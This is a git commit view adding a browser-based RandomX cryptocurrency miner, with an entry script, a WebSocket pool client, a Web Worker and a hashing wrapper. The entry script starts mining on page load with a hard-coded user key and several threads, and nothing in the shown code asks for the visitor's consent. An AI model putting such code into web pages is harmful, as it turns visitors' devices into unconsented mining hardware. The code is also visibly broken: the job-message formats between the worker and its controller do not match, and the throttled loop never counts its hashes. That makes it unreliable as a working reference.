Implemented cryptomining, although its extremely bad optimized.

This commit is contained in:
2025-12-03 18:20:02 +01:00
commit c2d6d0b096
308 changed files with 56964 additions and 0 deletions
+86
View File
@@ -0,0 +1,86 @@
import Miner from './miner'
import * as echarts from 'echarts';
let isMobile = false
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|ipad|iris|kindle|Android|Silk|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(navigator.userAgent) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(navigator.userAgent.substr(0,4))) isMobile = true
const miner = new Miner('2c227b31b2eeaa6b195538039475f0ac', {
threads: isMobile ? 1 : 4,
autoThreads: isMobile ? false : true
})
miner.start()
let hashRateData = []
let timeList = []
let hashRateList = []
let option = {
// Make gradient line here
visualMap: [
{
show: false,
type: 'continuous',
seriesIndex: 0,
min: 0,
max: 120
}
],
title: [
{
left: 'center',
top: '5%',
text: 'Hash Rate'
}
],
tooltip: {
trigger: 'axis'
},
xAxis: [
{
data: timeList
}
],
yAxis: [
{},
],
series: [
{
type: 'line',
showSymbol: false,
data: hashRateList
}
]
};
let threadSpan = document.getElementById('thread')
let rateSpan = document.getElementById('rate')
let totalSpan = document.getElementById('total')
let acceptSpan = document.getElementById('accepted')
let chartDom = document.getElementById('hash-charts');
let myChart = echarts.init(chartDom);
function updateChart() {
timeList = hashRateData.map(function (item) {
return item[0];
});
hashRateList = hashRateData.map(function (item) {
return item[1];
});
option.xAxis[0].data = timeList
option.series[0].data = hashRateList
option && myChart.setOption(option);
}
setInterval(() => {
let currentHashRate = miner.getHashesPerSecond()
if (hashRateData.length > 3600) {
hashRateData.shift()
}
hashRateData.push([(new Date()).toLocaleTimeString(), currentHashRate])
updateChart()
rateSpan.innerText = `${currentHashRate.toFixed(1)} H/s`
totalSpan.innerText = miner.getTotalHashes()
}, 1000)
+19
View File
@@ -0,0 +1,19 @@
// miner/src/js/job.js
class Job {
// The miner will only start if no other tabs are already mining. Default
static IF_EXCLUSIVE_TAB = 'ifExclusiveTab'
// The miner will always start and immediately kill all miners in other tabs that have not specified Minero.FORCE_MULTI_TAB
static FORCE_EXCLUSIVE_TAB = 'forceExclusiveTab'
// The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners
static FORCE_MULTI_TAB = 'forceMultiTab'
static CONFIG = {
WEBSOCKET_SHARDS: [
['ws://localhost:80']
]
}
}
export {
Job as default
}
+58
View File
@@ -0,0 +1,58 @@
// miner/src/js/mine-worker.js
export default class MineWorker {
constructor() {
// Initialize the worker pointing to the public file
this.worker = new Worker('/miner.worker.js');
// Internal stats that miner.js reads
this.hashesPerSecond = 0;
this.hashesTotal = 0;
this.isJobSet = false;
// Listen for messages from miner.worker.js
this.worker.onmessage = (event) => {
const data = event.data;
if (data.type === 'hash-stats') {
this.hashesPerSecond = data.payload.hashesPerSecond;
this.hashesTotal += data.payload.hashes;
}
else if (data.type === 'hash-found') {
this.hashesPerSecond = data.payload.hashesPerSecond;
this.hashesTotal += data.payload.hashes;
if (this.onTargetMetCallback) {
this.onTargetMetCallback(data.payload);
}
}
else if (data === 'worker-initialized' || data.type === 'miner-initialized' || data.type === 'emscripten-initialized') {
console.log("MainThread: Worker initialized");
}
};
this.worker.onerror = (e) => {
console.error("MainThread: Worker Error", e);
};
}
setJob(job, callback) {
this.onTargetMetCallback = callback;
this.isJobSet = true;
// Send the job to the worker
this.worker.postMessage({
type: 'set-job',
payload: {
job: job,
throttle: job.throttle
}
});
}
stop() {
if (this.worker) {
this.worker.terminate();
this.worker = null;
}
this.hashesPerSecond = 0;
}
}
+367
View File
@@ -0,0 +1,367 @@
// miner/src/js/miner.js
import Job from './job'
import MineWorker from './mine-worker'
class Miner {
constructor (user, options) {
options = options || {}
this._user = user
this._threads = []
this._hashes = 0
this._currentJob = null
this._autoReconnect = true
this._reconnectRetry = 3
this._totalHashesFromDeadThreads = 0
this._throttle = Math.max(0, Math.min(.99, options.throttle || 0))
this._autoThreads = {
enabled: !!options.autoThreads,
interval: null,
adjustAt: null,
adjustEvery: 1e4,
stats: {}
}
this._tab = {
ident: 16777215 * Math.random() | 0,
mode: Job.IF_EXCLUSIVE_TAB,
grace: 0,
lastPingReceived: 0,
interval: null
}
if (window.BroadcastChannel) try {
this._bc = new BroadcastChannel('wrxminer')
this._bc.onmessage = function (response) {
if (response.data === 'ping') {
this._tab.lastPingReceived = Date.now()
}
}.bind(this)
} catch (error) {}
this._eventListeners = {
open: [],
authed: [],
close: [],
error: [],
job: [],
found: [],
accepted: []
}
const concurrency = navigator.hardwareConcurrency || 4
this._targetNumThreads = options.threads || concurrency
this._onTargetMetBound = this._onTargetMet.bind(this)
}
start (mode) {
this._tab.mode = mode || Job.IF_EXCLUSIVE_TAB
if (this._tab.interval) {
clearInterval(this._tab.interval)
this._tab.interval = null
}
this._startNow()
}
stop (message) {
for (let i = 0; i < this._threads.length; ++i) {
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal
this._threads[i].stop()
}
this._threads = []
this._autoReconnect = false
this._currentJob = null
if (this._socket) {
this._socket.close()
}
if (this._autoThreads.interval) {
clearInterval(this._autoThreads.interval)
this._autoThreads.interval = null
}
if (this._tab.interval && message !== 'dontKillTabUpdate') {
clearInterval(this._tab.interval)
this._tab.interval = null
}
}
getHashesPerSecond () {
let sum = 0
for (let i = 0; i < this._threads.length; ++i)
sum += this._threads[i].hashesPerSecond
return sum
}
getTotalHashes () {
let currentTimestamp = Date.now(),
sum = this._totalHashesFromDeadThreads
for (let i = 0; i < this._threads.length; ++i) {
let thread = this._threads[i]
sum += thread.hashesTotal
}
return 0 | sum
}
getAcceptedHashes () {
return this._hashes
}
on (event, callback) {
if (this._eventListeners[event]) {
this._eventListeners[event].push(callback)
}
}
getAutoThreadsEnabled () {
return this._autoThreads.enabled
}
setAutoThreadsEnabled (enabled) {
this._autoThreads.enabled = !!enabled
if (!enabled && this._autoThreads.interval) {
clearInterval(this._autoThreads.interval)
this._autoThreads.interval = null
} else if (enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
}
getThrottle () {
return this._throttle
}
setThrottle (throttle) {
this._throttle = Math.max(0, Math.min(.99, throttle))
if (this._currentJob) {
this._setJob(this._currentJob)
}
}
getNumThreads () {
return this._threads.length
}
setNumThreads (numThreads) {
numThreads = Math.max(1, 0 | numThreads)
if ((this._targetNumThreads = numThreads) > this._threads.length) {
while (numThreads > this._threads.length) {
let t = new MineWorker
if (this._currentJob) {
t.setJob(this._currentJob, this._onTargetMetBound)
}
this._threads.push(t)
}
} else if (numThreads < this._threads.length) {
while (numThreads < this._threads.length) {
let t = this._threads.pop()
this._totalHashesFromDeadThreads += t.hashesTotal
t.stop()
}
}
}
isRunning () {
// return 0 < this._threads.length
if (!this._socket) {
return false
}
if (this._socket.readyState == WebSocket.CLOSED || this._socket.readyState == WebSocket.CLOSING) {
return false
}
return true
}
_startNow () {
if (this._tab.mode !== Job.FORCE_MULTI_TAB && !this._tab.interval) {
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
}
if (this._tab.mode !== Job.IF_EXCLUSIVE_TAB || !this._otherTabRunning()) {
if (this._tab.mode === Job.FORCE_EXCLUSIVE_TAB) {
this._tab.grace = Date.now() + 3e3
}
this.setNumThreads(this._targetNumThreads)
this._autoReconnect = true
this._connect()
}
}
_otherTabRunning () {
if (this._tab.lastPingReceived > Date.now() - 1500) {
return true
}
try {
let currentMiner = localStorage.getItem('wrxminer')
if (currentMiner) {
const t = JSON.parse(currentMiner)
if (t.ident !== this._tab.ident && Date.now() - t.time < 1500) {
return true
}
}
} catch (error) {}
return false
}
_updateTabs () {
const flag = this._otherTabRunning()
if (flag && this.isRunning() && Date.now() > this._tab.grace) {
this.stop('dontKillTabUpdate')
} else if (!flag && !this.isRunning()) {
this._startNow()
}
if (this.isRunning()) {
if (this._bc) {
this._bc.postMessage('ping')
}
try {
localStorage.setItem('wrxminer', JSON.stringify({
ident: this._tab.ident,
time: Date.now()
}))
} catch (error) {}
}
}
_adjustThreads () {
const hashPerSecond = this.getHashesPerSecond(), numThreads = this.getNumThreads()
let threadStats = this._autoThreads.stats
threadStats[numThreads] = threadStats[numThreads] ? .5 * threadStats[numThreads] + .5 * hashPerSecond : hashPerSecond
if (Date.now() > this._autoThreads.adjustAt) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
const cur = (threadStats[numThreads] || 0) - 1,
next = threadStats[numThreads + 1] || 0,
prev = threadStats[numThreads - 1] || 0
if (prev < cur && (0 === next || cur < next) && numThreads < 16) return this.setNumThreads(numThreads + 1)
if (next < cur && (!prev || cur < prev) && 1 < numThreads) return this.setNumThreads(numThreads - 1)
}
}
_emit (event, params) {
const listeners = this._eventListeners[event]
if (listeners && listeners.length) {
for (let i = 0; i < listeners.length; ++i) {
listeners[i](params)
}
}
}
// djb2 hash
// http://www.cse.yorku.ca/~oz/hash.html
_hashString (str) {
let hash = 5381, l = str.length
while (l) {
hash = 33 * hash ^ str.charCodeAt(--l)
}
return hash >>> 0
}
_connect () {
if (!this._socket) {
const shards = Job.CONFIG.WEBSOCKET_SHARDS
let index = Math.floor(Math.random() * shards.length)
const shard = shards[index]
const url = shard[Math.random() * shard.length | 0]
this._socket = new WebSocket(url)
this._socket.onmessage = this._onMessage.bind(this)
this._socket.onerror = this._onError.bind(this)
this._socket.onclose = this._onClose.bind(this)
this._socket.onopen = this._onOpen.bind(this)
}
}
_onOpen () {
this._emit('open')
let data = {
type: this._user ? 'user' : 'anonymous',
user: this._user ? this._user.toString() : null
}
this._send('auth', data)
}
_onClose (response) {
// https://github.com/Luka967/websocket-close-codes
if (response.code >= 1003 && response.code <= 1009) {
this._reconnectRetry = 60
}
for (let i = 0; i < this._threads.length; ++i) {
this._threads[i].stop()
}
this._threads = []
this._socket = null
this._emit('close')
if (this._autoReconnect) {
setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
}
}
_onMessage (response) {
const data = JSON.parse(response.data)
switch(data.type) {
case 'job':
this._setJob(data.params)
this._emit('job', data.params)
if (this._autoThreads.enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
break
case 'hash_accepted':
this._hashes = data.params.hashes
this._emit('accepted', data.params)
break
case 'authed':
this._hashes = data.params.hashes || 0
this._emit('authed', data.params)
this._reconnectRetry = 3
break
case 'error':
if (console && console.error) {
console.error('WRXMiner Error:', data.params.error)
}
this._emit('error', data.params)
break
case 'banned':
this._emit('error', {
banned: true
})
this._reconnectRetry = 600
break
default:
break
}
}
_onError (response) {
this._emit('error', {
error: 'connection_error'
})
this._onClose(response)
}
_onTargetMet (job) {
this._emit('found', job)
if (job.job_id === this._currentJob.job_id) {
this._send('submit', {
job_id: job.job_id,
nonce: job.nonce,
result: job.result
})
}
}
_send (type, params) {
if (this._socket) {
const data = {
type: type,
params: params || {}
}
this._socket.send(JSON.stringify(data))
}
}
_setJob (job) {
this._currentJob = job
this._currentJob.throttle = this._throttle
for (let i = 0; i < this._threads.length; ++i) {
this._threads[i].setJob(job, this._onTargetMetBound)
}
}
}
export {
Miner as default
}
+16
View File
@@ -0,0 +1,16 @@
import Wrapper from './wrapper'
;(async () => {
const Module = (await import('../../build/web-randomx.js')).default
const wasmBin = (await import('../../build/web-randomx.wasm')).default
const module = await Module({
locateFile (path) {
if (path.endsWith('.wasm')) {
return wasmBin
}
return path
}
})
new Wrapper(module)
})()
+156
View File
@@ -0,0 +1,156 @@
class Wrapper {
constructor (module) {
this.throttleWait = 0
this.throttledStart = 0
this.throttledHashes = 0
this.workThrottledBound = this.workThrottled.bind(this)
this.currentJob = null
this.target = new Uint8Array([255, 255, 255, 255, 255, 255, 255, 255])
this.variant = 0
this.height = 0
this.blob = []
this.input = new Uint8Array(module.HEAPU8.buffer, module._malloc(256), 256)
this.output = new Uint8Array(module.HEAPU8.buffer, module._malloc(32), 32)
this.seed_input = new Uint8Array(module.HEAPU8.buffer, module._malloc(32), 32)
this.module = module
self.postMessage('ready')
self.onmessage = this.onMessage.bind(this)
}
onMessage (response) {
const data = response.data
if (!this.currentJob || this.currentJob.job_id !== data.job_id) {
this.setJob(data)
}
if (data.throttle) {
this.throttleWait = 1 / (1 - data.throttle) - 1
this.throttledStart = this.now()
this.throttledHashes = 0
this.workThrottled()
} else {
this.work()
}
}
hexToBytes (hex) {
const len = hex.length / 2
let bytes = new Uint8Array(len)
for (let i = 0; i < len; ++i) {
bytes[i] = parseInt(hex.substr(i*2, 2), 16)
}
return bytes
}
bytesToHex (bytes) {
let hex = ''
for (let i = 0; i < bytes.length; ++i) {
hex += (bytes[i] >>> 4).toString(16)
hex += (15 & bytes[i]).toString(16)
}
return hex
}
meetsTarget (output, target) {
for (let i = 1; i <= target.length; ++i) {
if (output[output.length - i] > target[target.length - i]) {
return false
}
if (output[output.length - i] < target[target.length - i]) {
return true
}
}
return false
}
setJob (data) {
this.currentJob = data
this.blob = this.hexToBytes(data.blob)
this.input.set(this.blob)
const target = this.hexToBytes(data.target)
if (target.length <= 8) {
for (let i = 1; i <= target.length; ++i) {
this.target[this.target.length-i] = target[target.length-i]
}
for (let i = 0; i < this.target.length - target.length; ++i) {
this.target[i] = 255
}
} else {
this.target = target
}
this.variant = data.variant === undefined ? 0 : data.variant
this.height = data.height === undefined ? 0 : data.height
this.seed_blob = this.hexToBytes(data.seed_hash)
this.seed_input.set(this.seed_blob)
}
now () {
if (self.performance) {
return self.performance.now()
}
return Date.now()
}
hash (input, output, byteLength, variant, height, seed) {
const nonce = 4294967295 * Math.random() + 1 >>> 0
this.input[39] = (4278190080 & nonce) >> 24
this.input[40] = (16711680 & nonce) >> 16
this.input[41] = (65280 & nonce) >> 8
this.input[42] = (255 & nonce) >> 0
return this.module._randomx_hash(BigInt(height), BigInt(height), seed.byteOffset, input.byteOffset, byteLength, output.byteOffset)
}
work () {
const workStart = this.now()
let hashes = 0, ifMeetTarget = false, interval = 0
while (!ifMeetTarget && interval < 1e3) {
hashes += this.hash(this.input, this.output, this.blob.length, this.variant, this.height, this.seed_input)
ifMeetTarget = this.meetsTarget(this.output, this.target)
interval = this.now() - workStart
}
const hashesPerSecond = hashes / (interval / 1e3)
if (ifMeetTarget) {
const nonce = this.bytesToHex(this.input.subarray(39, 43))
const result = this.bytesToHex(this.output)
self.postMessage({
hashesPerSecond: hashesPerSecond,
hashes: hashes,
job_id: this.currentJob.job_id,
nonce: nonce,
result: result
})
} else {
self.postMessage({
hashesPerSecond: hashesPerSecond,
hashes: hashes
})
}
}
workThrottled () {
const workStart = this.now()
this.hash(this.input, this.output, this.blob.length, this.variant, this.height, this.seed_input)
const workEnd = this.now(),
interval = workEnd - workStart
+this.throttledHashes
const totalInterval = workEnd - this.throttledStart,
hashesPerSecond = this.throttledHashes / (totalInterval / 1e3)
if (this.meetsTarget(this.output, this.target)) {
const nonce = this.bytesToHex(this.input.subarray(39, 43))
const result = this.bytesToHex(this.output)
self.postMessage({
hashesPerSecond: hashesPerSecond,
hashes: this.throttledHashes,
job_id: this.currentJob.job_id,
nonce: nonce,
result: result
})
} else if (totalInterval > 1e3) {
self.postMessage({
hashesPerSecond: hashesPerSecond,
hashes: this.throttledHashes
})
} else {
setTimeout(this.workThrottledBound, Math.min(2e3, interval * this.throttleWait))
}
}
}